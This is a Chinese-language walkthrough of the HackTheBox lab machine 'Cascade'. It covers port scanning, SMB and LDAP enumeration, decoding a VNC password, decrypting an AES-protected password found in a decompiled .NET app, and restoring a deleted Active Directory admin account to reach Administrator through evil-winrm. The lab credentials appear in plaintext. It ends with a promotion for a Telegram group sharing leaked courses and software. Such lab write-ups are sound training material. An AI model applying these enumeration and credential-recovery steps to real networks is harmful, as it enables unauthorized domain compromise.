HackTheBox。演练级联。LDAP和Active Directory远程对象



我将继续发布解决方案,以期从HackTheBox平台完成计算机的最终定稿



在本文中,我们将深入研究LDAP,解码VNC密码,反编译dotNet应用程序,轻松解密AES以及恢复已删除的Active Directory对象。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.182,我将其添加到/ etc / hosts中。



10.10.10.182	cascade.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






主机上打开了许多端口。现在,让我们用nmap对其进行扫描以过滤并选择所需的对象。



nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88






现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88






像往常一样,首先要做的是首先列出SMB-enum4linux。



enum4linux -a cascade.htb










我们为自己保存了用户及其组成员的列表。让我们看看LDAP必须提供什么。



入口点



我们使用JXplorer处理LDAP。连接并查看所有对象。







从用户Ryan Thompson那里,我们找到了cascadeLegacyPwd属性。







我们解码base64并获得密码。







用户



找到凭据后,让我们使用CrackMapExec查看可供我们使用的SMB资源。



cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares






让我们连接到数据资源。



smbclient -U r.thompson //10.10.10.182/Data






让我们递归地进行所有操作。







现在,让我们下载并查看这些文件。



get "IT\Email Archives\Meeting_Notes_June_2018.html"
get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log"
get IT\Logs\DCs\dcdiag.log
get "IT\Temp\s.smith\VNC Install.reg"


在第一个文件中,他们讨论了网络传输,并且TempAdmin密码与常规管理员密码相同。







在第二个文件中,请自己注意用户ArkSvc的权限。







第三个文件中没有有趣的东西。但是在第四部分中,我们找到了s.smith用户的VNC密码。







我们使用vncpasswd对其进行解码我们指示我们要解码密码(-d)并以十六进制形式传递它。



vncpasswd.py -d -H 6bcf2a4b6e5aca0f






如果查看enum4linux的输出,可以看到该用户是“远程管理用户”组的成员。让我们尝试使用该密码通过winrm服务登录。



evil-winrm -i cascade.htb -u s.smith -p sT333ve2






用户2



让我们看看该用户的SMB资源:



cme smb cascade.htb  -u s.smith -p sT333ve2 --shares






可用审计$资源。



smbclient -U s.smith //10.10.10.182/Audit$






让我们下载所有内容。







在下载的文件中有一个数据库,通过打开数据库,您可以在LDAP表中输入凭据。







但是它们并不适合任何地方,显然密码是加密的,但是可以使用该程序解密。在这种情况下,存在CascCrypto.dll。而且,程序和库都是用C#编写的。







让我们使用dnSpy反编译程序。我们找到了从数据库读取密码并将其转移到解密功能的位置。密钥也被转移到那里。







对库进行反编译后,我们找到了加密模式和初始化向量。







因此,我们具有以下参数:







现在我们需要解密。让我们在Cyber​​Chef网站上进行操作







然后我们得到了密码。如下enum4linux所示,该用户属于“远程管理用户”和“ AD回收站”组。您可能还记得,需要该用户来传输对象。并且TempAdmin用户具有与管理员相同的密码。但是它已被删除。



让我们看一下远程对象。



Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}






然后我们找到了想要的对象。让我们获取其属性。



Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *






然后我们解码密码。







让我们连接到WinRM并进行标记。



evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles






您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles